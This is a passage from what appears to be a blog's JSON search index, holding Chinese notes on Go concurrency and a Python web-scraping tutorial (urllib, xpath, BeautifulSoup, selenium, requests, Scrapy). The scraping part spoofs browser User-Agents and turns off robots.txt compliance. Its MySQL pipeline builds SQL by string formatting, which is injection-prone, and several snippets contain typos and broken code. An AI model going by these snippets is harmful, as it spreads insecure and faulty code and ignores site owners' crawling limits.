Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)","title":"Golang进阶扩展笔记"},{"content":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(\u0026lsquo;utf-8\u0026rsquo;))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({\u0026lsquo;hallo\u0026rsquo;:\u0026lsquo;python\u0026rsquo;}),encoding=\u0026lsquo;utf-8\u0026rsquo;) response = urllib.request.urlopen(\u0026lsquo;http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse import urllib.request url = \u0026quot;https://xiaochenabc123.test.com/\u0026quot; headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'} data = urllib.request.Request(url=url, headers=headers) hi = hallo = urllib.request.urlopen(data) #hallo = urllib.request.urlopen(data).read().decode('utf-8') #print(hallo) # 6个方法 #abc = hi.read(6) #按字节返回 #xyz = hi.readline() # 读取一行 #a = hi.readlines() # 一行一行的读取 #b = hi.getcode() # 状态码 #c = hi.geturl() # 获取url地址 #d = hi.getheaders() # 获取状态信息 # 下载到本地 #urllib.request.urlretrieve(url,data.html) #url_img = \u0026quot;https://xiaochenabc123.test.com/1.jpg\u0026quot; #urllib.request.urlretrieve(url_img,abc.jpg) #url_mp4 = \u0026quot;https://xiaochenabc123.test.com/1.mp4\u0026quot; #urllib.request.urlretrieve(url_img,xyz.mp4) # auote() 转Unicode编码 #name = urllib.parse.quote(\u0026quot;哈哈哈\u0026quot;) #urlencode(),get拼接 gg = { \u0026quot;name\u0026quot;: \u0026quot;小陈\u0026quot;, \u0026quot;data\u0026quot;: \u0026quot;hallo word\u0026quot; } haha = urllib.parse.urlencode(gg) #print(haha) # post请求 ssr = { data: \u0026quot;abc\u0026quot; } abcxyz = urllib.parse.urlencode(ssr).encode('utf‐8') nogo = urllib.request.Request(url=url, headers=headers, data=abcxyz) yesgo = urllib.request.urlopen(nogo) #print(yesgo.read().decode('utf‐8')) #ajax请求（get和post） #cookie（扩展headers） headers = { 'Cookie': 'xxxx' } #HTTPHandler() #request = urllib.request.Request(url=url, headers=headers) #handler = urllib.request.HTTPHandler() #opener = urllib.request.build_opener(handler) #response = opener.open(request) #print(response.read().decode('utf‐8')) #代理服务器 urls = \u0026quot;http://baidu.com\u0026quot; request = urllib.request.Request(url=urls, headers=headers) proxies = {'https': '14.115.106.223:808'} handler = urllib.request.ProxyHandler(proxies=proxies) opener = urllib.request.build_opener(handler) response = opener.open(request) content = response.read().decode('utf‐8') #print(content) from lxml import etree import urllib.request # 解析本地文件 #html_data = etree.parse('./hallo.html', etree.HTMLParser()) # 解析服务器响应文件 # html = etree.HTML(response.read().decode('utf‐8') #result = etree.tostring(html_data) # print(result.decode('utf-8')) # /为查找子节点，//为查找全部子孙节点（不考虑层级） # list = html_data.xpath(\u0026quot;//ul/li\u0026quot;) # 查找全部带id # list = html_data.xpath(\u0026quot;//ul/li[@id]/text()\u0026quot;) # 查找指定id # list = html_data.xpath('//ul/li[@id=\u0026quot;a\u0026quot;]/text()') # 查找指定class的 # list = html_data.xpath('//ul/li[@class=\u0026quot;a\u0026quot;]/text()') # 模糊查询（包含） # list = html_data.xpath('//ul/li[contains(@id, \u0026quot;ab\u0026quot;)]/text()') # 查找以什么开头的 # list = html_data.xpath('//li[starts-with(@id, \u0026quot;a\u0026quot;)]/text()') # 查找以什么结尾的 # list = html_data.xpath('//li[ends-with(@id, \u0026quot;a\u0026quot;)]/text()') # 查找内容 # list = html_data.xpath('//a[text()=\u0026quot;小陈的辣鸡屋\u0026quot;]/text()') # 多属性匹配(和) # list = html_data.xpath('//li[contains(@id, \u0026quot;a\u0026quot;) and @href=\u0026quot;https://xiaochenabc123.test.com\u0026quot;]/a/text()') # 或者 # list = html_data.xpath('//li[contains(@id, \u0026quot;a\u0026quot;) | @href=\u0026quot;https://xiaochenabc123.test.com\u0026quot;]/a/text()') # 查找指定顺序的 # list = html_data.xpath('//a[1]/text()') #获取第一个，可以指定第几个 # list = html_data.xpath('//a[last()]/text()') #获取最后一个 # list = html_data.xpath('//a[position()\u0026lt;6]/text()') # 获取前5个 # list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个 # print(list) #实例：获取logo和logo的url #url = \u0026quot;https://xiaochenabc123.test.com\u0026quot; #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} #request = urllib.request.Request(url=url, headers=headers) #response = urllib.request.urlopen(request) #content = response.read().decode(\u0026quot;utf-8\u0026quot;) #hallo = etree.HTML(content) #data = hallo.xpath('//h3[@id=\u0026quot;logo\u0026quot;]/a/@href')[0] #data1 = hallo.xpath('//h3[@id=\u0026quot;logo\u0026quot;]/a/text()')[0] #print(data,data1) #获取文章的标题 #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} # #if __name__ == \u0026quot;__main__\u0026quot;: # page1 = int(input(\u0026quot;开始\u0026quot;)) # page2 = int(input(\u0026quot;结束\u0026quot;)) # # for page in range(page1, page2 + 1): # urldata = \u0026quot;https://xiaochenabc123.test.com/archives/\u0026quot; + str(page) + \u0026quot;.html\u0026quot; # #print(urldata) # request = urllib.request.Request(url=urldata, headers=headers) # response = urllib.request.urlopen(request) # if (response.getcode() == 200): # content = response.read().decode(\u0026quot;utf-8\u0026quot;) # hallo = etree.HTML(content) # data = hallo.xpath('//h3[@class=\u0026quot;post-title\u0026quot;]/a/text()')[0] # print(data) # elif(response.getcode() == 404): # continue #爬取网站的全部a链接，并且返回到数组中 #if __name__ == \u0026quot;__main__\u0026quot;: # url = input(\u0026quot;请输入要爬取的url\u0026quot;) # abc = int(input(\u0026quot;是否启动只搜索当前域名的url,请回复0或者1\u0026quot;)) # headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' # } # request = urllib.request.Request(url=url, headers=headers) # response = urllib.request.urlopen(request) # content = response.read().decode(\u0026quot;utf-8\u0026quot;) # hallo = etree.HTML(content) # data = hallo.xpath('//a/@href') # a = 1 # b = 1 # c = \u0026quot;https\u0026quot; # d = \u0026quot;http\u0026quot; # if (abc == 1): # while a \u0026lt; len(data): # if (c or d in data[a]): # if (url in data[a]): # urldata = data[a] # print(urldata) # a += 1 # else: # while b \u0026lt; len(data): # if (c or d in data[a]): # urldata = data[b] # print(urldata) # b += 1 练习（json解析bing官方提供的api，获取精密壁纸）\nimport jsonpath import json import urllib.request # pip install jsonpath headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } abc = 0 while abc == 0 : a = int(input(\u0026quot;请输入要下载的张数（bing最多只能下载8张）\u0026quot;)) aa = str(a) if(a\u0026lt;=8): urlapi = \u0026quot;https://cn.bing.com/HPImageArchive.aspx?format=js\u0026amp;idx=0\u0026amp;n=\u0026quot;+aa+\u0026quot;\u0026amp;mkt=zh-CN\u0026quot; request = urllib.request.Request(url=urlapi, headers=headers) resp = urllib.request.urlopen(request) content = resp.read().decode(\u0026quot;utf-8\u0026quot;) with open(\u0026quot;data.json\u0026quot;, \u0026quot;w\u0026quot;, encoding=\u0026quot;utf-8\u0026quot;) as fp: fp.write(content) obj = json.load(open(\u0026quot;data.json\u0026quot;, \u0026quot;r\u0026quot;, encoding=\u0026quot;utf-8\u0026quot;)) hallo = jsonpath.jsonpath(obj, \u0026quot;$..url\u0026quot;) img = jsonpath.jsonpath(obj, \u0026quot;$..enddate\u0026quot;) c = 0 b = 0 while c \u0026lt; len(hallo): hi = \u0026quot;https://cn.bing.com\u0026quot; data = hi + hallo[c] print(data) c+=1 while b \u0026lt; len(img): haha = img[b] + \u0026quot;.jpg\u0026quot; print(haha) urllib.request.urlretrieve(data, filename=haha) b+=1 break print(\u0026quot;下载完成！！！\u0026quot;) abc = 1 else: print(\u0026quot;您输入的张数超过8张，bing官方api只能下载8张，请重新输入\u0026quot;) Beautiful Soup解析库，和lxml一样，可以从html或者xml中解析数据和提取数据，Beautiful Soup会自动将输入数据转换为unicode编码，输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码\n目前使用的是Beautiful Soup 4，简称bs4，Beautiful Soup3已停止维护\n安装\npip install beautifulsoup4\n注意：Beautiful Soup支持第三方解析器，如果不使用第三方解析器的话，将使用Python标准库中的html解析器\nBeautifulSoup(html, html.parser) # 内置标准库 BeautifulSoup(html, lxml) # lxml库，需要下载lxml库 BeautifulSoup(html, xml) # lxml的xml解析，需要下载lxml库 BeautifulSoup(html, html5lib) # html5lib，需要下载html5lib库 pip install html5lib 第一个例子\nfrom bs4 import BeautifulSoup # data = BeautifulSoup(open(\u0026quot;haha.html\u0026quot;),encoding=\u0026quot;utf-8\u0026quot;, \u0026quot;lxml\u0026quot;) data = BeautifulSoup(open(\u0026quot;haha.html\u0026quot;)) print(data.prettify()) bs会将html文档解析为树状结构，该树状结构的节点是Python对象，而这些对象可以分为4种：\nTag：标签，通过tag获取指定标签内容，print(data.div)，可以通过data.标签名的方式获取标签的内容（注意：输出第一个符合条件的标签）\n检查对象的类型：print (type(data.div))，可以看到输出结果为\u0026lt;class \u0026lsquo;bs4.element.Tag\u0026rsquo;\u0026gt;，说明该对象为tag\ntag有两个属性，分别为name和attrs\nprint (data.name) print (data.div.name) 可以看到输出结果为[document]和div，data的name为[document]，而标签输出为标签本身的名字\nprint (data.div.attrs) 可以看到输出结果是{\u0026lsquo;class\u0026rsquo;: [\u0026lsquo;xxx\u0026rsquo;]}的键值对，可以通过data.div[\u0026ldquo;xxx\u0026rdquo;]方式获取属性值，也可以修改属性值（data.div[\u0026ldquo;class\u0026rdquo;]= \u0026ldquo;nav\u0026rdquo;），删除属性（del data.div[\u0026ldquo;class\u0026rdquo;]）\nNavigableString：标签内部的文本（.string），print (data.p.string)，判断类型，print (type(data.p.string))，输出结果为\u0026lt;class \u0026lsquo;bs4.element.NavigableString\u0026rsquo;\u0026gt;\nBeautifulSoup：文档的全部内容，也就是data本身，print (type(data))，\u0026lt;class \u0026lsquo;bs4.BeautifulSoup\u0026rsquo;\u0026gt;\nComment：特殊一点的NavigableString类型，可以输出注释的内容（不带注释符号），通过类型判断print (type(data.span.string))，可以看到输出\u0026lt;class \u0026lsquo;bs4.element.Comment\u0026rsquo;\u0026gt;\n查找\nprint(data.div.content) # 查找div的全部子节点，并且以列表的方式输出，可以使用索引来指定获取第几个节点 print(data.div.children) #一样是查找div的全部子节点，不过是list生成器，需要手动遍历获取 print(data.select(\u0026quot;span\u0026quot;)) #查找标签，也可以通过类名或者id名查找，支持组合查找（和css方式一样） print(data.find(\u0026quot;div\u0026quot;)) print(data.find(\u0026quot;div\u0026quot;,class_=\u0026quot;nav\u0026quot;)) selenium是一个web应用自动化测试工具，selenium可以直接运行在目前主流浏览器驱动（本身没有浏览器功能，需要搭配第三方浏览器，支持无界面浏览器），模拟用户操作\n因为其自动化和可以直接运行在浏览器的原因，可以用于爬虫\nchromedriver：https://npm.taobao.org/mirrors/chromedriver（淘宝镜像地址，下载的驱动版本要和浏览器内核的版本一样） edge: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ （webdriver.Edge()） 火狐：https://github.com/mozilla/geckodriver/releases （webdriver.Firefox()）\n安装\npip install selenium\n导入驱动\nfrom selenium import webdriver path = \u0026quot;浏览器驱动路径\u0026quot; driver = webdriver.Chrome(path) url = \u0026quot;https://xiaochenabc123.test.com\u0026quot; driver.get(url) data = driver.page_source print(data) 元素定位（模拟鼠标和键盘操作元素的点击或者输入等等，在操作元素之前需要获取到元素的位置）\n注意：element是返回单个对象，elements可以返回多个对象\n根据id查找元素\ndata = driver.find_element_by_id(\u0026ldquo;app\u0026rdquo;)\n根据name属性值查找 data = driver.find_element_by_name(\u0026quot;\u0026quot;)\n根据xpath查找 data = driver.find_elements_by_xpath()\n根据标签名查找 data = driver.find_elements_by_tag_name()\n使用bs4的方式查找 data = driver.find_element_by_css_selector(\u0026quot;#app\u0026quot;)\n根据连接的文本查找 data = driver.find_element_by_link_text()\n根据连接的文本查找（模糊） data = driver.find_element_by_partial_link_text()\n根据class名查找 data = driver.find_element_by_class_name()\n交互和数据获取\n数据获取\n获取属性值\nprint(data.get_attribute(\u0026ldquo;href\u0026rdquo;))\n获取标签名\nprint(data.tag_name)\n获取元素文本\nprint(data.text)\n交互\n指定浏览器大小\ndriver.set_window_size(900, 1000)\n浏览器的前进和后退，以及刷新\ndriver.forward() driver.back() driver.refresh()\ninput输入框操作\ndata.click() #单击元素 data.send_keys(\u0026ldquo;hallo\u0026rdquo;) #输入 data.clear() #清除内容\n执行指定js脚本\ndriver.execute_script(js)\n例如：\nimport time from selenium import webdriver path = \u0026quot;msedgedriver.exe\u0026quot; driver = webdriver.Edge(path) url = \u0026quot;https://www.baidu.com/\u0026quot; driver.get(url) data = driver.page_source datas = driver.find_element_by_id(\u0026quot;kw\u0026quot;) datas.send_keys(\u0026quot;小陈的辣鸡屋\u0026quot;) a = driver.find_element_by_id(\u0026quot;su\u0026quot;) a.click() time.sleep(2) #bottom = 'document.documentElement.scrollTop=10000' #driver.execute_script(bottom) b = driver.find_element_by_link_text(\u0026quot;小陈的辣鸡屋\u0026quot;) b.click() Phantomjs是一个无界面浏览器，因为其不需要进行gui渲染，效率比较高，但是已经停止更新，这里只了解一下，推荐使用Headless Chrome\nhttps://phantomjs.org/\nphantomjs操作方式一样\ndriver = webdriver.PhantomJS(path) 因为没有界面，访问网页是没有界面的，需要通过快照获取，driver.save_screenshot(\u0026ldquo;xiaochenabc123.test.com.jpg\u0026rdquo;)\nHeadless Chrome是基于Chrome 59版本以及以上版本的无界面模式（mac和Linux最低要求59版本，而win需要60版本）\nfrom selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--headless') # 无界面模式启动 chrome_options.add_argument('--disable-gpu') path = \u0026quot;Chrome.exe\u0026quot; # Chrome浏览器的路径 chrome_options.binary_location = path driver = webdriver.Chrome(chrome_options=chrome_options) # 实例化 url = \u0026quot;https://xiaochenabc123.test.com\u0026quot; driver.get(\u0026quot;url\u0026quot;) driver.save_screenshot(\u0026quot;xiaochenabc123.test.com.jpg\u0026quot;) 具体操作方法和selenium一样\nrequests库是基于Python开发并且封装的http库，HTTP for Humans\n安装\npip install requests\n使用方式很简单\nimport requests url = \u0026quot;https://xiaochenabc123.test.com\u0026quot; response = requests.get(url) response.status_code # 200 返回状态码 print(type(response)) # 返回类型 response.encoding = \u0026quot;utf-8\u0026quot; # 响应的编码 print(response.text) # 返回源代码 print(response.url) # 返回请求的url print(response.content) # 返回二进制数据 print(response.headers) # 返回响应头 requests在请求json的时候还可以直接获取\nget请求\nget请求的参数通过params属性传递，不需要考虑url的编码问题，不需要考虑请求对象，例如：\ndata = { 'wd': 'python' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } response = requests.get('https://baidu.com/s?', params=data, headers=headers) print (response.text) post请求\npost请求不需要考虑编解码，不需要考虑请求对象\ndata = { 'url': 'xiaochenabc123.test.com', 'name': 'root' } url = \u0026quot;https://httpbin.org/post\u0026quot; response = requests.post(url=url, data=data, headers=headers) import json obj = json.loads(response.text,encoding=\u0026quot;utf-8\u0026quot;) print (obj) 注意：默认使用application/x-www-form-urlencoded进行编码，如果想传递json，需要使用requests.post()的json参数，上传文件用files参数\n另外还支持put()和delete()\n传入cookie需要cookies参数，支持设置请求超时（timeout参数，单位为秒）\n代理用proxies参数，指向一个字典（代理池）\nscrapy是基于Python开发的爬取数据，提取数据的框架，可应用在数据挖掘，数据存储\n安装\npip install scrapy\nscrapy架构组件分为Scrapy Engine（引擎），Scheduler（调度器），Downloader（下载器），Spider（爬虫），Item Pipeline（数据管道），Downloader middlewares（下载中间件），Spider middlewares（Spider中间件）\nScrapy Engine：负责控制数据流（Data Flow）在组件中的流动，例如通信，数据传递，在某些情况下还触发相对应的事件\nScheduler：负责接收引擎发送的request请求并且将其存储在调度器中，当引擎需要时提供给引擎，调度器会自动去重url（也可以不去重）\nDownloader：负责下载引擎发送的全部request请求的响应数据，将获取到数据提供给Spider\nSpider：负责处理全部响应数据，并且进行分析提取数据，获取需要的数据，并且将需要进行额外跟进的url传递给引擎，以便重新进入调度器，一般情况一个Spider只负责一个或者多个特定的url\nItem Pipeline：负责处理Spider提取出来的数据，经过分析，过滤，存储等步骤，最后存储在本地或者数据库中\nDownloader middlewares：其是引擎和Downloader之间的钩子，自定义扩展下载器的功能，例如更换ua，ip等等\nSpider middlewares：Spider和引擎之间的钩子，用来处理Spider的输入响应和输出数据，自定义扩展Spider的功能\n具体数据流线路：引擎请求一个url，并且获取到处理这个url的Spider，并且向该Spider请求要第一个爬取的url，引擎获取到要爬取的url，将其传递给调度器，引擎再向调度器请求要下一个爬取的URL，调度器返回url给引擎，引擎通过下载中间件传递给下载器，由下载器下载数据，当数据下载完毕（不管是否成功），下载器将响应数据通过下载中间件返回给引擎，引擎得到数据并且通过Spider中间件传递给Spider处理数据，Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎，引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理，并且将需要跟进的url传递给调度器，一直重复循环直到调度器中没有request\n新建项目：\nscrapy startproject scrapyDemo\n这个项目中包含了一些文件，分别是scrapy.cfg（配置文件），scrapyDemo/（项目的Python模块，将在这里编写程序），items.py（item文件，目标文件），pipelines.py（管道文件，用来处理数据，默认为300优先级，值越小优先级越高），settings.py（项目的设置文件，例如robots协议是否遵守，定义ua等等），spiders/（spider爬虫程序存放的目录）\nspider爬虫程序（/spiders目录下）\n创建一个爬虫必须继承scrapy.Spider类，并且定义三个参数（必须唯一，用来区别其他爬虫），start_urls（爬虫程序执行时要爬取的url），parse()在被调用时，下载完成后得到的响应将作为唯一参数传递给该方法，这个方法负责解析返回回来的数据，以及提取数据和后续要进行下一步处理的响应数据\n快速创建一个基础scrapy爬虫程序\nscrapy genspider cjlio xiaochenabc123.test.com\nimport scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL，不在此范围内的域名会被过滤掉 start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text print(content) response属性：.text（返回响应的字符串），.body（返回二进制数据），.xpath()（使用xpath方法来解析，返回的数据为列表），.extract()获取seletor对象的data属性值，.extract_first()获取seletor列表的第一个的数据\n还有.url（url地址），.status（状态码），.encoding（响应正文的编码），.request（生成request对象），.css()（用css选择器方式解析数据），.urljoin()（生成绝对url）\n执行爬虫程序（cjlio为爬虫的name）\nscrapy crawl cjlio\n将获取的数据存储为json文件\nscrapy crawl cjlio -o cjlio.json\n注意：因为scrapy默认使用ascii存储json，需要改为utf-8\n在settings.py中添加FEED_EXPORT_ENCODING = \u0026lsquo;utf-8\u0026rsquo;解决\n关闭robots协议（不遵守robots协议，注释掉或者改为False，默认遵守robots协议）\nROBOTSTXT_OBEY = False scrapy shell是一个交互终端，在没有启动spider的情况下尝试以及测试程序的xpath和css表达式\nscrapy shell可以借助ipython终端\npip install ipython\n注意：如果安装ipython，scrapy将使用ipython代替Python标准终端，ipython提供了自动补全，高亮等等功能\n调试例子（不需要进入Python环境，可以直接在终端中调试）\nscrapy shell xiaochenabc123.test.com\nresponse.text\nresponse.xpath()\nitems.py定义数据结构\nimport scrapy class ScrapydemoItem(scrapy.Item): name = scrapy.Field() img = scrapy.Field() cjlio.py（爬虫程序）\nimport scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text name = content.xpath(\u0026quot;xpath匹配\u0026quot;).extract_first() img = content.xpath(\u0026quot;xpath匹配\u0026quot;).extract_first() print(name, img) 管道封装\ncjlio.py（爬虫程序）\nfrom scrapyDemo.items import ScrapydemoItem ... data = scrapyDemoItems(name=name,img=img) yield data # 每获取一次data数据，就是返回一次数据给管道 # yield的作用类似于生成器（generator） 注意：如果想使用管道，需要在settings.py中开启\n找到\nITEM_PIPELINES = { 'scrapyDemo.pipelines.ScrapydemoPipeline': 300, } 将注释去掉，300指优先级（优先级1到1000），值越小优先级越高\npipelines.py（管道文件）中的item就是爬虫程序返回的data数据\n启动爬虫之前（open_spider(self, spider)）\n启动爬虫之后（close_spider(self, spider)）\n开启多管道\n在 ITEM_PIPELINES 字段中添加新管道（settings.py）\n然后在pipelines.py定义新管道的类\n查询当前项目中的爬虫任务：scrapy list\n自定义UA\nsettings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以\n项目中配置headers\nspiders爬虫程序\nheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } url = \u0026quot;https://xiaochenabc123.test.com\u0026quot; yield scrapy.Request( url=url, headers=headers ) 数据入库\n安装pymysql\npip install pymysql\nsettings.py\n（pymysql） DB_HOST = \u0026ldquo;127.0.0.1\u0026rdquo; DB_RORT = 3306 DB_USER = \u0026ldquo;root\u0026rdquo; DB_PASSWORD = \u0026ldquo;123abc\u0026rdquo; DB_NAME = \u0026ldquo;dataMax\u0026rdquo; DB_CHARSET = \u0026ldquo;utf8\u0026rdquo;\n开一条新管道，专门处理数据入数据库\npipeline.py\nfrom scrapy.utils.project import get_project_settings import pymysql #读取settings文件 class MysqlMax: def open_spider(self, spider): settings = get_project_settings() self.host = settings['DB_HOST'] self.port = settings['DB_PORT'] self.user = settings['DB_USER'] self.password = settings['DB_PASSWORD'] self.name = settings['DB_NAME'] self.charset = settings['DB_CHARSET'] self.connect() def connect(self): self.conn = pymysql.connect( host = self.host, port = self.port, user = self.user, password = self.password, name = self.name, charset = self.charset ) self.cursor = self.conn.cursor() def process_item(self,item,spider): sql = 'insert into book(name,src) values(\u0026quot;{}\u0026quot;,\u0026quot;{}\u0026quot;).format(item['name'],item['img']) self.cursor.execute(sql) self.conn.commit() # 执行sql语句，并且提交 return item def close_spider(self, spider): self.cursor.close() self.conn.close() 链接跟进和链接提取器\n爬虫程序文件\nrules = ( Rule(LinkExtractor(allow = \u0026quot;\u0026quot;), callback = \u0026quot;parse_item\u0026quot;, follow = True), ) allow为正则表达式，当链接满足正则表达式提取，为空则全部匹配（链接提取器）\ncallback为指定解析数据的规则\nfollow一般情况默认为False，指定是否从response提取的链接进行跟进，当callback为none时，follow为True\n还有dent =()，用来过滤符合正则表达式的链接，当符合时不提取\nallow_domains：允许的域名，deny_domains：不允许的域名\nrestrict_xpaths：提取符合xpath的链接，restrict_css：提取符合选择器的链接\n注意：follow当为True会一直提取符合规则的链接，直到全部链接提取完毕\n日志以及日志等级\n日志等级\nCRITICAL：严重错误 ERROR：一般错误 WARNING：警告 INFO：一般信息 DEBUG：调试信息（默认，只有出现DEBUG以及以上等级的日志才会打印输出）\nsettings.py文件可以设置哪些日志显示，哪些不显示\nLOG_FILE：将信息存储到文件中，不显示在输出界面，后缀为.log\nLOG_LEVEL：指定日志显示的等级\n例如： LOG_LEVEL = \u0026ldquo;WARNING\u0026rdquo; LOG_FILE= \u0026ldquo;demo.log\u0026rdquo;\n","permalink":"https://chenjunlinabc.github.io/posts/125/","summary":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(\u0026lsquo;utf-8\u0026rsquo;))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({\u0026lsquo;hallo\u0026rsquo;:\u0026lsquo;python\u0026rsquo;}),encoding=\u0026lsquo;utf-8\u0026rsquo;) response = urllib.request.urlopen(\u0026lsquo;http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = 